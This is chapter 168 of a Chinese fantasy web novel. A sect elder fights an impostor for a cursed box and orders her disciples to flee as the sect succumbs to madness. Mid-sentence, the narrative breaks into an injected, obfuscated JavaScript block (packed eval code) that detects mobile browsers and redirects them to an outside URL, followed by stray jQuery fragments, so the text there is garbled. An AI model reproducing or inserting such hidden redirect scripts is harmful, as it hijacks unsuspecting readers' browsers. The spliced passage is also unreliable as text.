168. 第 168 章
作品:《女主既要又要怎么了》 悬珠崖
这既是珠崖派阵法所在核心之地,也是珠崖派最高处,从上至下,所有山峰一览无余。
悬珠崖下封印着的悬珠兽释放出的毒气透过日渐衰弱的千年大阵,渐渐弥漫在这山头小路之上,梁玮栩用尽毕生所学封印此地,廖旭泽更是将此地列为禁地,严加看守,是以数十年来得以安然无恙。
此刻,诗景解开了一个小口子,从入口处径直走向这珠崖派的最高处,她打算铤而走险一次,觅辅藏书曾记载,悬珠兽之毒天下罕见,数千年前黄金一代的前辈们历经种种困难终于将其封印。若嗿阎塔气息同为天底下至阴至毒的东西,那若以毒攻毒,能否会有奇效。
悬珠崖下约十余丈处在日光下可见强大震撼的灵力如水波般波动,罩住了底下可怖的东西,紫色薄雾笼罩住了从底下漂浮上来,受到屏障阻拦,透出来的不过千不存一,可经不住时间年复一年的积累,整个悬珠崖还是弥漫着这令人窒息头痛的毒素,是以诗景根本没注意到自己香囊处飘出一阵异香,从她的脖子处一点点渗透进皮肤。
诗景祭出自制的法器,运起灵力,将山间萦绕着的毒素经由法器再转运到自己身上来,毒素在她体内聚集,诗景运起心法,将毒素一点点晕开,再转移至法器上,法器分出数十个分身,从悬珠崖飞至珠崖派各个地方,毒素夹带着诗景的灵力如雨雾般投散至各个地方。
一场下来,诗景累得大汗淋漓,单膝跪倒在地上,一手手掌撑在地上支撑自己,另一手放在心脉处,喃喃自语道:“若我真的有所谓保护世人的责任与能力,那么也应该给予我保护这些朋友的力量吧。”
在原地缓了好一会,她艰难站直身体,看向远方,嘴角欣慰地上扬了些许,以毒攻毒的法子奏效了,整个珠崖派气息以肉眼可见的速度缓和了下来,只是有几处异常的地方,诗景一一记下。
就这样,一连多天,诗景近一半的时间登悬珠崖释放灵力稀释后的毒素,另一半时间用来探查那些异常的地方。
终于在第十天这天,诗景发现了一处极易怪异的地方,这个地方被人用曾经她体内屏蔽气息的那股能量包裹住了,甚至更为浓郁纯粹。而那座山峰的位置正是她的大徒儿章招娣的小山峰处。
诗景的眼睛微眯了起来,章招娣她一直都派人看守着,这段时间以来也从未让她参与任何行动,莫非她真的为了苍青背叛整个珠崖派吗?诗景不敢相信也不想相信。
章招娣所在处,诗景以剑化形瞬移此地,学着任泉祯当时给她解毒的手法解开能量封印,是一个巴掌大小的小盒子悬浮在空中,这个盒子所在的位置很有意思,靠近灵鹤又接近珠崖派野兽地,气息混杂,再加上能量保护,致使她这么多天居然毫无察觉,怎么看,这一场阴谋之中处处都有针对她的痕迹。
不知道为何,解开它的隐藏后,诗景反而觉得这东西带给她强烈的心悸感,那种排斥感令她感到恶心,仿佛她与这东西生来就是宿敌。
诗景刚想用灵力将盒子从半空拽下来,突感身后一道强劲的灵力朝她袭来,诗景侧身躲开,瞬移至那人的身后,诗景的眼神从上向下打量了她一番,肯定地说:“你不是章招娣。”
她顿了一会,“当时害柏言走火入魔的领头人是你吧。”章招娣嘴角勾起,衣袖一挥,变回原本的容貌。“是我,又如何?”
诗景右手唤出濬坤剑,说:“费尽心思,不惜下血本也要将珠崖派毁掉。你们的目的是什么?”
男人认真打量了几番濬坤剑,“传说中的上古宝剑濬坤剑,倒是让我长见识了。至于目的,当然是让你们死啊。”
“那得看你有没有这个本事了。”此人灵力不低,若是硬碰硬,她不一定是对手,还是先把盒子搞到手。眼前之人对盒子的珍视异常,想必这个盒子大有玄机。诗景率先发起进攻,男人果真反击,招式招招狠戾,只是招式怎么有几分莫名的熟悉感,是当年心愿阁那几人的招数!
诗景防守之中抓住他的弱点反攻回去,佯装对招数招,腾空至半空,将濬坤剑甩出,腰间用力转了个身子,伸手去够盒子,将盒子握在手心,用力一拽下,男人向后翻转了好几个跟斗才躲开濬坤剑。
只见眼前的女子将盒子握在手心,身上莫名激发了什么能量,全身泛起了蓝光,濬坤剑受她灵力影响回到她手心,诗景再度将剑甩出,濬坤剑蕴含着能量直击男人,男人感觉到自己仿佛被能量牢牢锁定住了,无法动弹,只能生生抗下这一击,一剑穿心!
男人吐出一大口鲜血,双膝跪倒在地上,他抬头看着眼前的人,蓝光散去,她应该也不好受,手捂着胸口处,大口喘气着。
诗景看着眼前的盒子,上边的纹路如此的熟悉,还是当年心愿阁暗室里所看到的纹路,似乎是什么塔门上的图案。脑海里快速闪过一些信息,锁阎盒,数千年前歪门邪派曾炼制一种小巧方便的东西藏匿嗿阎塔气息,后来竟然遭到正道与邪修们一致哄抢,为了阻止更大的灾难发生,她识海中似乎是第二传承人将其毁灭,却依旧有数个盒子流落人间不知所踪。
她想起来了,当年在许府时曾看到过气息从一个盒子里释放,那个盒子与眼前这个一模一样,唯一的不同大概就是现在这个盒子里装着的东西更纯粹浓郁。
她调整好自身气息,“这个东西早在几千年前就应该尽数消失,你们这些阴沟里的老鼠还真是能找东西。”
男人嗤嗤地笑了起来,点了身体数个穴位,站直身体,祭出两个武器大锤,相互捶打下,身体如同虚影形成漩涡状,周遭的气息都被卷过来进入他的身体,“我的身体早已与气息融合在一起,整个珠崖派如此浓郁的气息只会加速我疗伤愈合。”他的灵力以惊人的速度快速愈合,锁阎盒也受他灵力所吸引,脱离诗景手心。
“濬坤。”她唤本命剑,濬坤剑悬在盒子上方,制止它朝男人方向移动,男人也怒喝一句,两个大锤子悬在盒子下方,不断牵引着盒子。诗景身形一动,赤手空拳与男人打起来,上百招下来,男人本就受了伤,不敌,竟然不惜自爆大半修为,巨大的灵力压朝诗景席卷而来,男人趁机抢走盒子,在濬坤剑的威压下自断一只手臂,想要逃走。
诗景用意念驱使濬坤剑拦下他,身体却扛下了大半自爆所产生的灵力压,二人皆吐出一大口鲜血,诗景的唇色苍白,脸颊也渗出了诸多冷汗。“想逃,哪有这么容易!”
珠崖派山脚下处方向突然亮起了一束烟花,诗景紧绷着的神色终于有点松动,是舒雅清和舒凛皓她们回来了。
“太好了,净衍果已寻到。”她看着男人,“你们还有什么招数?”
男人自然听到了她的话语,不甘心地瞪着她,“真不敢相信就凭你一个人居然让珠崖派强撑了这么久,你真是个祸害!”
濬坤剑压着他的头颅刺入寸许,男人顶着疼痛,不甘心计划就此泡汤,大概疯子有时候是没有逻辑的,他手心紧紧握住盒子,将全身气息倒灌入盒子内,经脉寸断,皮肤裂开一道道皱痕。整个山峰像是被卷入了紫红色漩涡之中,诗景的视野也被遮挡住,只能隐约看个大概,不知他下一步要干吗。
不过很快,她就知道了,男人竟用自爆的方式来引爆盒子,盒子即将四分五裂那一刻,诗景心脉处闪着夺目的蓝光,男人在黑暗中自然看到了她的异常,那么明亮,那么纯净,又是那么的讨厌。
男人大声咆哮起来,“哈哈哈你果真是传承人,临死前能拉着你垫背,死也值了!主上大业必成!哈哈哈。”
积蓄着近两百年的灵力压顷刻间席卷了整个山峰并朝着珠崖派其他山峰而去,整个珠崖派仿佛陷入了黑暗之中,浓郁的黑像是没化开的墨,黑得让人不安。
“师父,是师父吗?师父你在哪?”熟悉的声音传来,诗景转头,灵力压将整个山头的东西压塌,一个被捆仙绳束缚住的小身影在角落里蜷缩着。
“小章。”诗景快速移到他身旁,解开她的束缚。
章招娣一把鼻涕一把泪地抱住诗景,嚎啕大哭起来,“师父,我被关在这儿好久了,你们终于来救我了!呜呜。”
诗景用手心拍了拍她的后背以示安抚,心情却无比沉重。
黑雾散,珠崖派内各个地方的阵法也在那一瞬间发出响亮的声音。诗景安抚的手一顿,离开章招娣的怀抱,僵硬地站了起来。
“砰——”
比刚刚更清脆的声音响起,诗景的心如坠冰窖,望着眼前四溢的嗿阎塔气息混杂着熟悉的灵力,她忍不住闭上眼睛,眼角的泪不知不觉间悄然落下。
她缓缓睁开眼睛,身子再也撑不住地跪下,濬坤剑飞到她的身旁,扶住她摇摇欲坠的身形。
数月的努力尽数白费,她所设下的阵法尽数被毁,而破坏者皆是昔日同伴,空气中弥漫着浓烈的气息,是同伴们走火入魔的气息,当中最为浓烈的是一派掌门——邵柏言。
净衍果一果难寻,舒雅清和舒凛皓纵使将果子寻回又如何拯救得了全派上下这走火入魔的上千弟子与长老。
舒雅清和舒凛皓等人身上有诗景提前布下的灵力,可越过入口封印,她们一进来便直奔景言宫。
“师父,我们回来了,我们运气还不错,寻回了两个净衍果。”
诗景的心情依旧无比沉重,两个完全不够!诗景摇摇头,带着几分心灰意冷,“不够,情况比我们所想的还要糟糕。”
舒雅清认真看了看诗景的神情,又联想到刚刚回来刚踏入珠崖派之时那股熟悉又压抑的氛围,她上前走了几步,“师父,珠崖派发生什么事情了?”
章招娣接过舒雅清的话,“全派上下近九成的人都被这股奇怪气息侵蚀了,已经到了走火入魔的地步,全派近千人净衍果根本不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317904|186477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
够用。”
舒凛皓看着师父眉头紧皱的模样,问:“师父,真的没有什么办法了吗?”
诗景办公桌面上的铃铛突然响了起来,诗景眼神一亮,“是芸儿。”铃铛再度响起,有规律的响了几次,“不好,芸儿归途有危险。”
“我去接应师姐,让我去吧,师父。”章招娣主动请缨,“师妹师弟们刚刚奔波回来,派内我帮不上什么忙,师妹师弟们灵力高强定能助师父一臂之力。”
诗景回头看她,眼神中带着几分探究,章招娣睁大双眼注视回去,识海之中悄然启动之前下在诗景身上的香,诗景感到脑袋快速恍惚了一下,点了点头。“徒儿定当不负师父所托,请师傅放心!”诗景将术法覆在她身上,“去吧。”
又是漫长的等待,诗景的心悬得厉害,不用出去看,光是从气息上判断就能看出珠崖派的气息恶化得越来越厉害了,放在桌面上的手一点点地握成拳。终究是坐不住,诗景从座椅上站直身子,上前几步遥看,眼神之中是显而易见的担忧,转身看向舒凛皓,“凛皓,你去看看芸儿她们到底如何了?”
与此同时一声呐喊,章招娣急冲冲地跑进景言宫中,边跑边喊:“不好了,师父,出事了。”
诗景眉头皱得更紧了,向章招娣方向往前走了几步,章招娣停在她跟前说:“师父,聂师妹出事了,她,她,她被掌门杀了。”
“什么?”诗景还想说些什么,脖子一酸,似有一股奇香传入鼻尖,顿感头脑昏昏沉沉的,眼前闪过一片黑影,她身形不稳,往后踉跄了一步,全身如脱力一般就要向后倒去,舒雅清立马向前扶住诗景,望向章招娣,问:“大师姐,此事怎么回事,芸儿师姐发生了何事。”
章招娣也很着急,带着颤抖语气说,“聂师妹回来后刚好碰上掌门发狂跑出凌锵峰结节,掌门的病情又加重了,不管不顾的就把聂师妹杀了还把聂师妹所带的精锐军一并杀害,只剩一人奄奄一息的跑回景言宫,留下留影珠。”章招娣一边说着一边展开手心,将影像展示出来。
邵柏言单手隔空将聂芸儿脖子扼住,他的眼睛里弥漫着浓浓的黑气,聂芸儿双手放在脖子上,试图输入灵力挣脱掌门的束缚,嘴里喊着:“掌门……我是……聂芸儿……你醒醒啊……掌门?”
邵柏言似乎唤回一些神志,他用另一只手捂住脑袋,头疼让他不停地甩几下脑袋,眼里的黑气时而消散时而浓郁,聂芸儿看见希望,继续对他说:“放开……掌门……我是……芸儿。”
被掌门力量禁锢住的聂芸儿只能断断续续发出声音,另一边男子还在进行挣扎,手上的劲不由得松下来,手也缓慢放了下来,留影珠此时将画面独独转向掌门,突然之间,邵柏言眼眸再次被浓郁的黑气围绕,他使出一掌灵力往前推去。
留影珠画面一转,聂芸儿被掌力打到地板,她用一只手肘撑住地板,侧身吐血,另一只手捂住胸口,眼中带着深深的难以置信,随即被一把剑贯穿心脉,她带着些恨意说道:“你怎么可以?……”随即脱力躺下。
画面一转是邵柏言双手捂头,似乎很痛苦,他半跪在地板上,随之迸发出的强大灵力波及了聂芸儿所带去的精锐军,众人在这股力量之下毫无抵挡之力,纷纷飞起,随即向后倒去。
诗景难以置信地看着留影珠的投影,在看到聂芸儿被那把她非常熟悉的剑贯穿心脉,她再也稳不住身形,就着舒雅清的力,在她怀中缓缓坐在地板上,她低下头,一滴泪珠从她左眼落下。那把剑正是邵柏言最常使用的随身佩剑——惊睨剑。
任泉祯的话回荡在她的耳畔,不断地提醒着她。珠崖派最后的希望已经熄灭,天底下百姓的安危必须放在心上,决不能让这群失了心智的弟子们出去祸害百姓们,也不能让这群平日里与她东奔西跑的掌司处弟子们白白葬送了大好人生。
诗景的拳头紧握,青筋冒起,终于下定决定,心灰意冷地开口:“章招娣,舒雅清,舒凛皓,你们三人将门派内所有清醒的弟子,无论是珠崖派的还是掌司处的,都带下山,带出珠崖派管辖的所有范围内,贼人或许会对你们进行追杀,逃,有多远逃多远!走!这是命令!”
舒凛皓摇头,“不,师父,我留下来与你共进退。”
“走!将所有弟子平安带出去,这是任务!走!”
舒凛皓执拗劲上来了,“这些事情可以让师姐和姐姐去干,我要留下来陪师父。”
诗景抬眸看他,伸手摸摸他的头,像是安抚一个哭闹的孩童,“你的心意师父领了。”
她看向舒雅清,“雅清,带上你弟,执行任务!”她将视线投向景言宫外混杂的气息,带着决绝,“务必完成!”
舒凛皓还欲说些什么,被舒雅清用力扯住手臂,对他下了道封口咒,她对着弟弟轻轻摇了摇头,在诗景身后一字一字坚定地回复:“雅清,领命!”

